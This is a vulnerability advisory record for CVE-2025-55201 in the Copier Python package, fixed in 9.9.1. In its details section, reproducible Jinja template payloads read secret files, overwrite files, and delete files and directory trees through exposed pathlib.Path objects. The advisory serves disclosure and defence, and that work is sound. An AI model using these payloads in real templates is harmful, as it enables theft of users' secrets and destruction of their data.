id: PYSEC-2026-1271
published: "2026-07-07T16:03:01.417882Z"
modified: "2026-07-07T17:23:57.371366Z"
aliases:
- CVE-2025-55201
- GHSA-3xw7-v6cj-5q8h
summary: Copier's safe template has arbitrary filesystem read/write access
details: "### Impact\n\nCopier's current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}\" > src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" > secrets/secret1.txt\n    echo \"s3cr3t #2\" > secrets/secret2.txt\n    mkdir src/\n    cat <<'EOF' > src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}\n    {% for f in parent.glob('*.txt') %}\n    {{ f }}: {{ f.read_text('utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}\" > src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.write_text('OVERWRITTEN', 'utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" > data/foo.txt\n    echo \"bar\" > data/a/bar.txt\n    echo \"baz\" > data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```"
affected:
- package:
    name: copier
    ecosystem: PyPI
    purl: pkg:pypi/copier
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 9.9.1
  versions:
  - 2.0.0
  - 2.0.1
  - 2.1.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - "2.3"
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.5.0
  - 2.5.1
  - 3.0.0a3
  - 3.0.0a5
  - 3.0.0a6
  - 3.0.0a7
  - 3.0.0a8
  - 3.0.0b1
  - 3.0.1
  - 3.0.2
  - 3.0.3
  - 3.0.4
  - 3.0.5
  - 3.0.6
  - 3.1.0
  - 3.2.0
  - 4.0.0
  - 4.0.1
  - 4.0.2
  - 4.1.0
  - 5.0.0
  - 5.1.0
  - 6.0.0
  - 6.0.0a0
  - 6.0.0a2
  - 6.0.0a3
  - 6.0.0a4
  - 6.0.0a5
  - 6.0.0a6
  - 6.0.0a7
  - 6.0.0a9
  - 6.0.0b0
  - 6.1.0
  - 6.2.0
  - 7.0.1
  - 7.1.0
  - 7.1.0a0
  - 7.2.0
  - 8.0.0
  - 8.1.0
  - 8.2.0
  - 8.3.0
  - 9.0.1
  - 9.1.0
  - 9.1.1
  - 9.2.0
  - 9.3.0
  - 9.3.1
  - 9.4.0
  - 9.4.1
  - 9.5.0
  - 9.6.0
  - 9.7.0
  - 9.7.1
  - 9.8.0
  - 9.9.0
references:
- type: WEB
  url: https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2025-55201
- type: WEB
  url: https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1
- type: PACKAGE
  url: https://github.com/copier-org/copier
- type: PACKAGE
  url: https://pypi.org/project/copier
- type: ADVISORY
  url: https://github.com/advisories/GHSA-3xw7-v6cj-5q8h
severity:
- type: CVSS_V4
  score: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N